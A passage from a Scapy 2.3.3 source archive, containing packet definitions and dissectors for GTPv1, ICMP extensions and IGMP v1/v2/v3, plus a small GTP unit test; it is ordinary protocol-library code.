] def post_build(self, p, pay): p += pay if self.length is None: l = len(p)-8 p = p[:2] + struct.pack("!H", l)+ p[4:] return p def hashret(self): return struct.pack("B", self.version) + self.payload.hashret() def answers(self, other): return (isinstance(other, GTPHeader) and self.version == other.version and self.payload.answers(other.payload)) class GTPEchoRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0),] def hashret(self): return struct.pack("H", self.seq) class IE_Cause(Packet): name = "Cause" fields_desc = [ ByteEnumField("ietype", 1, IEType), BitField("Response", None, 1), BitField("Rejection", None, 1), BitEnumField("CauseValue", None, 6, CauseValues) ] def extract_padding(self, pkt): return "",pkt class IE_IMSI(Packet): name = "IMSI - Subscriber identity of the MS" fields_desc = [ ByteEnumField("ietype", 2, IEType), TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8) ] def extract_padding(self, pkt): return "",pkt class IE_Routing(Packet): name = "Routing Area Identity" fields_desc = [ ByteEnumField("ietype", 3, IEType), TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ByteField("RAC", None) ] def extract_padding(self, pkt): return "",pkt class IE_Recovery(Packet): name = "Recovery" fields_desc = [ ByteEnumField("ietype", 14, IEType), ByteField("res-counter", 24) ] def extract_padding(self, pkt): return "",pkt class IE_SelectionMode(Packet): # Indicates the origin of the APN in the message name = "Selection Mode" fields_desc = [ ByteEnumField("ietype", 15, IEType), BitEnumField("SelectionMode", "MS or APN", 8, Selection_Mode) ] def extract_padding(self, pkt): return "",pkt class IE_TEIDI(Packet): name = "Tunnel Endpoint Identifier Data" fields_desc = [ ByteEnumField("ietype", 16, IEType), XIntField("TEIDI", RandInt()) ] def extract_padding(self, pkt): return "",pkt class IE_TEICP(Packet): name = "Tunnel Endpoint Identifier Control Plane" fields_desc = [ ByteEnumField("ietype", 17, IEType), XIntField("TEICI", RandInt())] def extract_padding(self, pkt): return "",pkt class IE_Teardown(Packet): name = "Teardown Indicator" fields_desc = [ ByteEnumField("ietype", 19, IEType), ByteEnumField("indicator", "True", TeardownInd_value) ] def extract_padding(self, pkt): return "",pkt class IE_NSAPI(Packet): # Identifies a PDP context in a mobility management context specified by TEICP name = "NSAPI" fields_desc = [ ByteEnumField("ietype", 20, IEType), XBitField("sparebits", 0x0000, 4), XBitField("NSAPI", RandNum(0, 15), 4) ] def extract_padding(self, pkt): return "",pkt class IE_ChargingCharacteristics(Packet): # Way of informing both the SGSN and GGSN of the rules for name = "Charging Characteristics" fields_desc = [ ByteEnumField("ietype", 26, IEType), # producing charging information based on operator configured triggers. # 0000 .... .... .... : spare # .... 1... .... .... : normal charging # .... .0.. .... .... : prepaid charging # .... ..0. .... .... : flat rate charging # .... ...0 .... .... : hot billing charging # .... .... 0000 0000 : reserved XBitField("Ch_ChSpare", None, 4), XBitField("normal_charging", None, 1), XBitField("prepaid_charging", None, 1), XBitField("flat_rate_charging", None, 1), XBitField("hot_billing_charging", None, 1), XBitField("Ch_ChReserved", 0, 8) ] def extract_padding(self, pkt): return "",pkt class IE_TraceReference(Packet): # Identifies a record or a collection of records for a particular trace. name = "Trace Reference" fields_desc = [ ByteEnumField("ietype", 27, IEType), XBitField("Trace_reference", None, 16) ] def extract_padding(self, pkt): return "",pkt class IE_TraceType(Packet): # Indicates the type of the trace name = "Trace Type" fields_desc = [ ByteEnumField("ietype", 28, IEType), XBitField("Trace_type", None, 16) ] def extract_padding(self, pkt): return "",pkt class IE_EndUserAddress(Packet): # Supply protocol specific information of the external packet name = "End User Addresss" fields_desc = [ ByteEnumField("ietype", 128, IEType), # data network accessed by the GGPRS subscribers. # - Request # 1 Type (1byte) # 2-3 Length (2bytes) - value 2 # 4 Spare + PDP Type Organization # 5 PDP Type Number # - Response # 6-n PDP Address BitField("EndUserAddressLength", 2, 16), BitField("EndUserAddress", 1111, 4), BitField("PDPTypeOrganization", 1, 4), XByteField("PDPTypeNumber", None) ] def extract_padding(self, pkt): return "",pkt class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = "" tmp_s = s while tmp_s: tmp_len = struct.unpack("!B", tmp_s[0])[0] + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s) : ret_s += "." s = ret_s return s def i2m(self, pkt, s): s = "".join(map(lambda x: chr(len(x))+x, s.split("."))) return s class IE_AccessPointName(Packet): # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060 name = "Access Point Name" fields_desc = [ ByteEnumField("ietype", 131, IEType), ShortField("length", None), APNStrLenField("APN", "nternet", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt def post_build(self, p, pay): if self.length is None: l = len(p)-3 p = p[:2] + struct.pack("!B", l)+ p[3:] return p class IE_ProtocolConfigurationOptions(Packet): name = "Protocol Configuration Options" fields_desc = [ ByteEnumField("ietype", 132, IEType), ShortField("length", 4), StrLenField("Protocol Configuration", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt class IE_GSNAddress(Packet): name = "GSN Address" fields_desc = [ ByteEnumField("ietype", 133, IEType), ShortField("length", 4), IPField("address", RandIP()) ] def extract_padding(self, pkt): return "",pkt class IE_MSInternationalNumber(Packet): name = "MS International Number" fields_desc = [ ByteEnumField("ietype", 134, IEType), ShortField("length", None), FlagsField("flags", 0x91, 8, ["Extension","","","International Number","","","","ISDN numbering"]), TBCDByteField("digits", "33607080910", length_from=lambda x: x.length-1) ] def extract_padding(self, pkt): return "",pkt class IE_UserLocationInformation(Packet): name = "User Location Information" fields_desc = [ ByteEnumField("ietype", 152, IEType), ShortField("length", None), ByteField("type", 1), # Only type 1 is currently supported TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ShortField("SAC", None) ] def extract_padding(self, pkt): return "",pkt class IE_IMEI(Packet): name = "IMEI" fields_desc = [ ByteEnumField("ietype", 154, IEType), ShortField("length", None), TBCDByteField("IMEI", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt class IE_NotImplementedTLV(Packet): name = "IE not implemented" fields_desc = [ ByteEnumField("ietype", 0, IEType), ShortField("length", None), StrLenField("data", "", length_from=lambda x: x.length) ] def extract_padding(self, pkt): return "",pkt ietypecls = { 1: IE_Cause, 2: IE_IMSI, 3: IE_Routing, 14: IE_Recovery, 15: IE_SelectionMode, 16: IE_TEIDI, 17: IE_TEICP, 19: IE_Teardown, 20: IE_NSAPI, 26: IE_ChargingCharacteristics, 27: IE_TraceReference, 28: IE_TraceType, 128: IE_EndUserAddress, 131: IE_AccessPointName, 132: IE_ProtocolConfigurationOptions, 133: IE_GSNAddress, 134: IE_MSInternationalNumber, 152: IE_UserLocationInformation, 154: IE_IMEI } def IE_Dispatcher(s): """Choose the correct Information Element class.""" if len(s) < 1: return Raw(s) # Get the IE type ietype = ord(s[0]) cls = ietypecls.get(ietype, Raw) # if ietype greater than 128 are TLVs if cls == Raw and ietype & 128 == 128: cls = IE_NotImplementedTLV return cls(s) class GTPEchoResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Response" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) def answers(self, other): return self.seq == other.seq class GTPCreatePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Request" fields_desc = [ ShortField("seq", RandShort()), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [ IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(), IE_GSNAddress(), IE_NotImplementedTLV(ietype=135, length=15,data=RandString(15)) ], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) class GTPCreatePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Create PDP Context Response" fields_desc = [ ShortField("seq", RandShort()), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] def hashret(self): return struct.pack("H", self.seq) def answers(self, other): return self.seq == other.seq class GTPErrorIndication(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Error Indication" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex",0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPDeletePDPContextRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPDeletePDPContextResponse(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Delete PDP Context Response" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex",0), PacketListField("IE_list", [], IE_Dispatcher) ] class GTPPDUNotificationRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP PDU Notification Request" fields_desc = [ XBitField("seq", 0, 16), ByteField("npdu", 0), ByteField("next_ex", 0), PacketListField("IE_list", [ IE_IMSI(), IE_TEICP(TEICI=RandInt()), IE_EndUserAddress(PDPTypeNumber=0x21), IE_AccessPointName(), IE_GSNAddress(address="127.0.0.1"), ], IE_Dispatcher) ] class GTP_U_Header(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-U Header" # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path. fields_desc = [ BitField("version", 1,3), BitField("PT", 1, 1), BitField("Reserved", 0, 1), BitField("E", 0,1), BitField("S", 0, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), BitField("length", None, 16), XBitField("TEID", 0, 32), ConditionalField(XBitField("seq", 0, 16), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ConditionalField(ByteField("npdu", 0), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ConditionalField(ByteField("next_ex", 0), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ] def post_build(self, p, pay): p += pay if self.length is None: l = len(p)-8 p = p[:2] + struct.pack("!H", l)+ p[4:] return p class GTPmorethan1500(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP More than 1500" fields_desc = [ ByteEnumField("IE_Cause", "Cause", IEType), BitField("IE", 1, 12000),] # Bind GTP-C bind_layers(UDP, GTPHeader, dport = 2123) bind_layers(UDP, GTPHeader, sport = 2123) bind_layers(GTPHeader, GTPEchoRequest, gtp_type = 1) bind_layers(GTPHeader, GTPEchoResponse, gtp_type = 2) bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type = 16) bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type = 17) bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type = 20) bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type = 21) bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type = 27) # Bind GTP-U bind_layers(UDP, GTP_U_Header, dport = 2152) bind_layers(UDP, GTP_U_Header, sport = 2152) bind_layers(GTP_U_Header, IP, gtp_type = 255) if __name__ == "__main__": from scapy.all import * interact(mydict=globals(), mybanner="GTPv1 add-on") scapy-2.3.3/scapy/contrib/gtp.uts000066400000000000000000000012151300136037300167370ustar00rootroot00000000000000# GTP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gtp')" -t scapy/contrib/gtp.uts + GTPv1 = GTPCreatePDPContextRequest(), basic instanciation gtp = IP()/UDP(dport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest() gtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5 = GTPCreatePDPContextRequest(), basic dissection random.seed(2807) str(gtp) == "E\x00\x00O\x00\x01\x00\x00@\x11|\x9b\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x00;\xb9{2\x10\x00+\x00\x00\n\xf7\x8d\x9e\x00\x00\x10\xa6\xb2\xdc.\x14\t\x85\x00\x04\x83~:N\x85\x00\x04\xe0^\x96\xe7\x87\x00\x0fRmhqmG3QvzvsT3G" scapy-2.3.3/scapy/contrib/icmp_extensions.py000066400000000000000000000147151300136037300212020ustar00rootroot00000000000000import scapy from scapy.packet import Packet, bind_layers from scapy.fields import * from scapy.layers.inet import IP, ICMP from scapy.layers.inet6 import IP6Field from scapy.utils import warning from scapy.contrib.mpls import MPLS class ICMPExtensionObject(Packet): name = 'ICMP Extension Object' fields_desc = [ ShortField('len', None), ByteField('classnum', 0), ByteField('classtype', 0) ] def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = struct.pack('!H', l)+p[2:] return p+pay class ICMPExtensionHeader(Packet): name = 'ICMP Extension Header (RFC4884)' fields_desc = [ BitField('version', 2, 4), BitField('reserved', 0, 12), BitField('chksum', None, 16) ] _min_ieo_len = len(ICMPExtensionObject()) def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p+pay def guess_payload_class(self, payload): if len(payload) < self._min_ieo_len: return Packet.guess_payload_class(self, payload) # Look at fields of the generic ICMPExtensionObject to determine which # bound extension type to use. ieo = ICMPExtensionObject(payload) if ieo.len < self._min_ieo_len: return Packet.guess_payload_class(self, payload) for fval, cls in self.payload_guess: ok = 1 for k, v in fval.iteritems(): if not hasattr(ieo, k) or v != ieo.getfieldval(k): ok = 0 break if ok: return cls return ICMPExtensionObject def ICMPExtension_post_dissection(self, pkt): # RFC4884 section 5.2 says if the ICMP packet length # is >144 then ICMP extensions start at byte 137. lastlayer = pkt.lastlayer() if not isinstance(lastlayer, conf.padding_layer): return if IP in pkt: if ( ICMP in pkt and pkt[ICMP].type in [3,11,12] and pkt.len > 144 ): bytes = pkt[ICMP].build()[136:] else: return elif scapy.layers.inet6.IPv6 in pkt: if ( (scapy.layers.inet6.ICMPv6TimeExceeded in pkt or scapy.layers.inet6.ICMPv6DestUnreach in pkt) and pkt.plen > 144 ): bytes = pkt[scapy.layers.inet6.ICMPv6TimeExceeded].build()[136:] else: return else: return # validate checksum ieh = ICMPExtensionHeader(bytes) if checksum(ieh.build()): return # failed lastlayer.load = lastlayer.load[:-len(ieh)] lastlayer.add_payload(ieh) class ICMPExtensionMPLS(ICMPExtensionObject): name = 'ICMP Extension Object - MPLS (RFC4950)' fields_desc = [ ShortField('len', None), ByteField('classnum', 1), ByteField('classtype', 1), PacketListField('stack', [], MPLS, length_from=lambda pkt: pkt.len - 4) ] class ICMPExtensionInterfaceInformation(ICMPExtensionObject): name = 'ICMP Extension Object - Interface Information Object (RFC5837)' fields_desc = [ ShortField('len', None), ByteField('classnum', 2), BitField('interface_role', 0, 2), BitField('reserved', 0, 2), BitField('has_ifindex', 0, 1), BitField('has_ipaddr', 0, 1), BitField('has_ifname', 0, 1), BitField('has_mtu', 0, 1), ConditionalField( IntField('ifindex', None), lambda pkt: pkt.has_ifindex == 1), ConditionalField( ShortField('afi', None), lambda pkt: pkt.has_ipaddr == 1), ConditionalField( ShortField('reserved2', 0), lambda pkt: pkt.has_ipaddr == 1), ConditionalField( IPField('ip4', None), lambda pkt: pkt.afi == 1), ConditionalField( IP6Field('ip6', None), lambda pkt: pkt.afi == 2), ConditionalField( FieldLenField('ifname_len', None, fmt='B', length_of='ifname'), lambda pkt: pkt.has_ifname == 1), ConditionalField( StrLenField('ifname', None, length_from=lambda pkt: pkt.ifname_len), lambda pkt: pkt.has_ifname == 1), ConditionalField( IntField('mtu', None), lambda pkt: pkt.has_mtu == 1) ] def self_build(self, field_pos_list=None): if self.afi is None: if self.ip4 is not None: self.afi = 1 elif self.ip6 is not None: self.afi = 2 if self.has_ifindex and self.ifindex is None: warning('has_ifindex set but ifindex is not set.') if self.has_ipaddr and self.afi is None: warning('has_ipaddr set but afi is not set.') if self.has_ipaddr and self.ip4 is None and self.ip6 is None: warning('has_ipaddr set but ip4 or ip6 is not set.') if self.has_ifname and self.ifname is None: warning('has_ifname set but ifname is not set.') if self.has_mtu and self.mtu is None: warning('has_mtu set but mtu is not set.') return ICMPExtensionObject.self_build(self, field_pos_list=field_pos_list) # Add the post_dissection() method to the existing ICMPv4 and # ICMPv6 error messages scapy.layers.inet.ICMPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet.TCPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet.UDPerror.post_dissection = ICMPExtension_post_dissection scapy.layers.inet6.ICMPv6DestUnreach.post_dissection = ICMPExtension_post_dissection scapy.layers.inet6.ICMPv6TimeExceeded.post_dissection = ICMPExtension_post_dissection # ICMPExtensionHeader looks at fields from the upper layer object when # determining which upper layer to use. bind_layers(ICMPExtensionHeader, ICMPExtensionMPLS, classnum=1, classtype=1) bind_layers(ICMPExtensionHeader, ICMPExtensionInterfaceInformation, classnum=2) scapy-2.3.3/scapy/contrib/igmp.py000066400000000000000000000142701300136037300167230ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = IGMP/IGMPv2 # scapy.contrib.status = loads # TODO: scapy 2 has function getmacbyip, maybe it can replace igmpize # at least from the MAC layer from scapy.packet import * from scapy.fields import * from scapy.layers.inet import * #-------------------------------------------------------------------------- def isValidMCAddr(ip): """convert dotted quad string to long and check the first octet""" FirstOct=atol(ip)>>24 & 0xFF return (FirstOct >= 224) and (FirstOct <= 239) #-------------------------------------------------------------------------- class IGMP(Packet): """IGMP Message Class for v1 and v2. This class is derived from class Packet. You need to "igmpize" the IP and Ethernet layers before a full packet is sent. a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x12, gaddr="224.2.3.4") c.igmpize(b, a) print "Joining IP " + c.gaddr + " MAC " + a.dst sendp(a/b/c, iface="en0") Parameters: type IGMP type field, 0x11, 0x12, 0x16 or 0x17 mrtime Maximum Response time (zero for v1) gaddr Multicast Group Address 224.x.x.x/4 See RFC2236, Section 2. Introduction for definitions of proper IGMPv2 message format http://www.faqs.org/rfcs/rfc2236.html """ name = "IGMP" igmptypes = { 0x11 : "Group Membership Query", 0x12 : "Version 1 - Membership Report", 0x16 : "Version 2 - Membership Report", 0x17 : "Leave Group"} fields_desc = [ ByteEnumField("type", 0x11, igmptypes), ByteField("mrtime",20), XShortField("chksum", None), IPField("gaddr", "0.0.0.0")] #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMP checksum. Parameters: self The instantiation of an IGMP class p The IGMP message in hex in network byte order pay Additional payload for the IGMP message """ p += pay if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMP object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") else: return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") #-------------------------------------------------------------------------- def igmpize(self, ip=None, ether=None): """Called to explicitely fixup associated IP and Ethernet headers Parameters: self The instantiation of an IGMP class. ip The instantiation of the associated IP class. ether The instantiation of the associated Ethernet. Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ # The rules are: # 1. the Max Response time is meaningful only in Membership Queries and should be zero # otherwise (RFC 2236, section 2.2) if (self.type != 0x11): #rule 1 self.mrtime = 0 if (self.adjust_ip(ip) == True): if (self.adjust_ether(ip, ether) == True): return True return False #-------------------------------------------------------------------------- def adjust_ether (self, ip=None, ether=None): """Called to explicitely fixup an associated Ethernet header The function adjusts the ethernet header destination MAC address based on the destination IP address. """ # The rules are: # 1. send to the group mac address address corresponding to the IP.dst if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether): iplong = atol(ip.dst) ether.dst = "01:00:5e:%02x:%02x:%02x" % ( (iplong>>16)&0x7F, (iplong>>8)&0xFF, (iplong)&0xFF ) # print "igmpize ip " + ip.dst + " as mac " + ether.dst return True else: return False #-------------------------------------------------------------------------- def adjust_ip (self, ip=None): """Called to explicitely fixup an associated IP header The function adjusts the IP header based on conformance rules and the group address encoded in the IGMP message. The rules are: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) """ if ip != None and ip.haslayer(IP): if (self.type == 0x11): if (self.gaddr == "0.0.0.0"): ip.dst = "224.0.0.1" # IP rule 1 retCode = True elif isValidMCAddr(self.gaddr): ip.dst = self.gaddr # IP rule 3a retCode = True else: print "Warning: Using invalid Group Address" retCode = False elif ((self.type == 0x17) and isValidMCAddr(self.gaddr)): ip.dst = "224.0.0.2" # IP rule 2 retCode = True elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(self.gaddr)): ip.dst = self.gaddr # IP rule 3b retCode = True else: print "Warning: Using invalid IGMP Type" retCode = False else: print "Warning: No IGMP Group Address set" retCode = False if retCode == True: ip.ttl=1 # IP Rule 4 ip.options=[IPOption_Router_Alert()] # IP rule 5 return retCode bind_layers( IP, IGMP, frag=0, proto=2) scapy-2.3.3/scapy/contrib/igmpv3.py000066400000000000000000000247511300136037300172010ustar00rootroot00000000000000#! /usr/bin/env python # http://trac.secdev.org/scapy/ticket/31 # scapy.contrib.description = IGMPv3 # scapy.contrib.status = loads from scapy.packet import * from scapy.fields import * from scapy.layers.inet import * from scapy.contrib.igmp import isValidMCAddr """ Based on the following references http://www.iana.org/assignments/igmp-type-numbers http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf """ # TODO: Merge IGMPv3 packet Bindlayers correct for # membership source/Group records # ConditionalField parameters for IGMPv3 commented out # # See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format # http://www.faqs.org/rfcs/rfc3376.html # # See RFC4286, For definitions of proper messages for Multicast Router Discovery. # http://www.faqs.org/rfcs/rfc4286.html # #import sys, socket, struct, time print "IGMPv3 is still under development - Nov 2010" class IGMPv3gr(Packet): """IGMP Group Record for IGMPv3 Membership Report This class is derived from class Packet and should be concatenated to an instantiation of class IGMPv3. Within the IGMPv3 instantiation, the numgrp element will need to be manipulated to indicate the proper number of group records. """ name = "IGMPv3gr" igmpv3grtypes = { 1 : "Mode Is Include", 2 : "Mode Is Exclude", 3 : "Change To Include Mode", 4 : "Change To Exclude Mode", 5 : "Allow New Sources", 6 : "Block Old Sources"} fields_desc = [ ByteEnumField("rtype", 1, igmpv3grtypes), ByteField("auxdlen",0), FieldLenField("numsrc", None, count_of="srcaddrs"), IPField("maddr", "0.0.0.0"), FieldListField("srcaddrs", [], IPField("sa", "0.0.0.0"), "numsrc") ] #show_indent=0 #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent. """ p += pay if self.auxdlen != 0: print "NOTICE: A properly formatted and complaint V3 Group Record should have an Auxiliary Data length of zero (0)." print " Subsequent Group Records are lost!" return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMPv3 group record.""" return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") class IGMPv3(Packet): """IGMP Message Class for v3. This class is derived from class Packet. The fields defined below are a direct interpretation of the v3 Membership Query Message. Fields 'type' through 'qqic' are directly assignable. For 'numsrc', do not assign a value. Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To assign values to 'srcaddrs', use the following methods: c = IGMPv3() c.srcaddrs = ['1.2.3.4', '5.6.7.8'] c.srcaddrs += ['192.168.10.24'] At this point, 'c.numsrc' is three (3) 'chksum' is automagically calculated before the packet is sent. 'mrcode' is also the Advertisement Interval field """ name = "IGMPv3" igmpv3types = { 0x11 : "Membership Query", 0x22 : "Version 3 Membership Report", 0x30 : "Multicast Router Advertisement", 0x31 : "Multicast Router Solicitation", 0x32 : "Multicast Router Termination"} fields_desc = [ ByteEnumField("type", 0x11, igmpv3types), ByteField("mrcode",0), XShortField("chksum", None), IPField("gaddr", "0.0.0.0") ] # use float_encode() # if type = 0x11 (Membership Query), the next field is group address # ConditionalField(IPField("gaddr", "0.0.0.0"), "type", lambda x:x==0x11), # else if type = 0x22 (Membership Report), the next fields are # reserved and number of group records #ConditionalField(ShortField("rsvd2", 0), "type", lambda x:x==0x22), #ConditionalField(ShortField("numgrp", 0), "type", lambda x:x==0x22), # FieldLenField("numgrp", None, "grprecs")] # else if type = 0x30 (Multicast Router Advertisement), the next fields are # query interval and robustness #ConditionalField(ShortField("qryIntvl", 0), "type", lambda x:x==0x30), #ConditionalField(ShortField("robust", 0), "type", lambda x:x==0x30), # The following are only present for membership queries # ConditionalField(BitField("resv", 0, 4), "type", lambda x:x==0x11), # ConditionalField(BitField("s", 0, 1), "type", lambda x:x==0x11), # ConditionalField(BitField("qrv", 0, 3), "type", lambda x:x==0x11), # ConditionalField(ByteField("qqic",0), "type", lambda x:x==0x11), # ConditionalField(FieldLenField("numsrc", None, "srcaddrs"), "type", lambda x:x==0x11), # ConditionalField(FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), "numsrc"), "type", lambda x:x==0x11), #-------------------------------------------------------------------------- def float_encode(self, value): """Convert the integer value to its IGMPv3 encoded time value if needed. If value < 128, return the value specified. If >= 128, encode as a floating point value. Value can be 0 - 31744. """ if value < 128: code = value elif value > 31743: code = 255 else: exp=0 value>>=3 while(value>31): exp+=1 value>>=1 exp<<=4 code = 0x80 | exp | (value & 0x0F) return code #-------------------------------------------------------------------------- def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMPv3 checksum. Parameters: self The instantiation of an IGMPv3 class p The IGMPv3 message in hex in network byte order pay Additional payload for the IGMPv3 message """ p += pay if self.type in [0, 0x31, 0x32, 0x22]: # for these, field is reserved (0) p = p[:1]+chr(0)+p[2:] if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p #-------------------------------------------------------------------------- def mysummary(self): """Display a summary of the IGMPv3 object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type% %IGMPv3.gaddr%") else: return self.sprintf("IGMPv3 %IGMPv3.type% %IGMPv3.gaddr%") #-------------------------------------------------------------------------- def igmpize(self, ip=None, ether=None): """Called to explicitely fixup associated IP and Ethernet headers Parameters: self The instantiation of an IGMP class. ip The instantiation of the associated IP class. ether The instantiation of the associated Ethernet. Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ # The rules are: # 1. ttl = 1 (RFC 2236, section 2) # igmp_binds = [ (IP, IGMP, { "proto": 2 , "ttl": 1 }), # 2. tos = 0xC0 (RFC 3376, section 4) # (IP, IGMPv3, { "proto": 2 , "ttl": 1, "tos":0xc0 }), # (IGMPv3, IGMPv3gr, { }) ] # The rules are: # 1. the Max Response time is meaningful only in Membership Queries and should be zero # otherwise (RFC 2236, section 2.2) if (self.type != 0x11): #rule 1 self.mrtime = 0 if (self.adjust_ip(ip) == True): if (self.adjust_ether(ip, ether) == True): return True return False #-------------------------------------------------------------------------- def adjust_ether (self, ip=None, ether=None): """Called to explicitely fixup an associated Ethernet header The function adjusts the ethernet header destination MAC address based on the destination IP address. """ # The rules are: # 1. send to the group mac address address corresponding to the IP.dst if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether): iplong = atol(ip.dst) ether.dst = "01:00:5e:%02x:%02x:%02x" % ( (iplong>>16)&0x7F, (iplong>>8)&0xFF, (iplong)&0xFF ) # print "igmpize ip " + ip.dst + " as mac " + ether.dst return True else: return False #-------------------------------------------------------------------------- def adjust_ip (self, ip=None): """Called to explicitely fixup an associated IP header The function adjusts the IP header based on conformance rules and the group address encoded in the IGMP message. The rules are: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) """ if ip != None and ip.haslayer(IP): if (self.type == 0x11): if (self.gaddr == "0.0.0.0"): ip.dst = "224.0.0.1" # IP rule 1 retCode = True elif isValidMCAddr(self.gaddr): ip.dst = self.gaddr # IP rule 3a retCode = True else: print "Warning: Using invalid Group Address" retCode = False elif ((self.type == 0x17) and isValidMCAddr(self.gaddr)): ip.dst = "224.0.0.2" # IP rule 2 retCode = True elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(self.gaddr)): ip.dst = self.gaddr # IP rule 3b retCode = True else: print "Warning: Using invalid IGMP Type" retCode = False else: print "Warning: No IGMP Group Address set" retCode = False if retCode == True: ip.ttl=1 